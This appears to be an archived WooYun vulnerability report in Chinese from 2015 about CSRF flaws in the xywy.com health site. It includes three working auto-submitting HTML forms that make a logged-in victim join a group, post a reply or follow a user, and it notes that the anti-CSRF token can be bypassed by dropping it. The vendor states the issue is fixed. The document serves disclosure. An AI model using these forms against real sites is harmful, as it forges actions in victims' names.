寻医问药可CSRF发表回复、刷关注

编号123599
Urlhttp://www.wooyun.org/bug.php?action=view&id=123599
漏洞状态厂商已经修复
漏洞标题寻医问药可CSRF发表回复、刷关注
漏洞类型CSRF
厂商寻医问药
白帽子jeary
提交日期2015-06-30 12:08:00
公开日期2015-08-11 14:17:00
修复时间2015-08-11 14:17:00
确认时间2015-06-30 00:00:00
Confirm Spend0
漏洞标签csrf token绕过 csrf利用
关注数0
收藏数0
白帽评级
白帽自评rank5
厂商评级
厂商评rank8
漏洞简介
:)
漏洞细节

存在CSRF的功能如图:

01.jpg


02.jpg


03.jpg


POC(加入圈子):

<html>

<body>
<form action="http://home.xywy.com/user.php?act=addgroup" method="POST">
<input type="hidden" name="gid" value="37" />
<input type="hidden" name="gpinyin" value="jianfei" />
<input type="hidden" name="type" value="1" />
<input type="hidden" name="uppage" value="http&#58;&#47;&#47;home&#46;xywy&#46;com&#47;jianfei&#47;" />
<input type="hidden" name="ill" value="" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>


POC:(发表回复)

<html>

<body>
<form action="http://home.xywy.com/jianfei/703108.html" method="POST">
<input type="hidden" name="content" value="æ&#153;&#154;ä&#184;&#138;ç&#157;&#161;ä&#184;&#141;ç&#157;&#128;å&#149;&#138;ã&#128;&#130;" />
<input type="hidden" name="themeid" value="703108" />
<input type="hidden" name="replyid" value="0" />
<input type="hidden" name="type" value="theme" />

</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>


POC(关注他人[ps:本来是有token的,但是删除token参数后继续请求,依然可以关注]):

<html>
<body>
<form action="http://home.xywy.com/user.php">
<input type="hidden" name="act" value="attention" />
<input type="hidden" name="uid" value="10526606" />
<input type="hidden" name="type" value="atten" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>


POC

见详细

修复方案

状态信息 2015-06-30: 细节已通知厂商并且等待厂商处理中
2015-06-30: 厂商已经确认,细节仅向厂商公开
2015-07-10: 细节向核心白帽子及相关领域专家公开
2015-07-20: 细节向普通白帽子公开
2015-07-30: 细节向实习白帽子公开
2015-08-11: 厂商已经修复漏洞并主动公开,细节向公众公开
厂商回复token这个梗,其实以前跟开发反应过,相应的我们会加强在csrf的防御。
回应信息危害等级:中漏洞Rank:8 确认时间:2015-06-30 19:32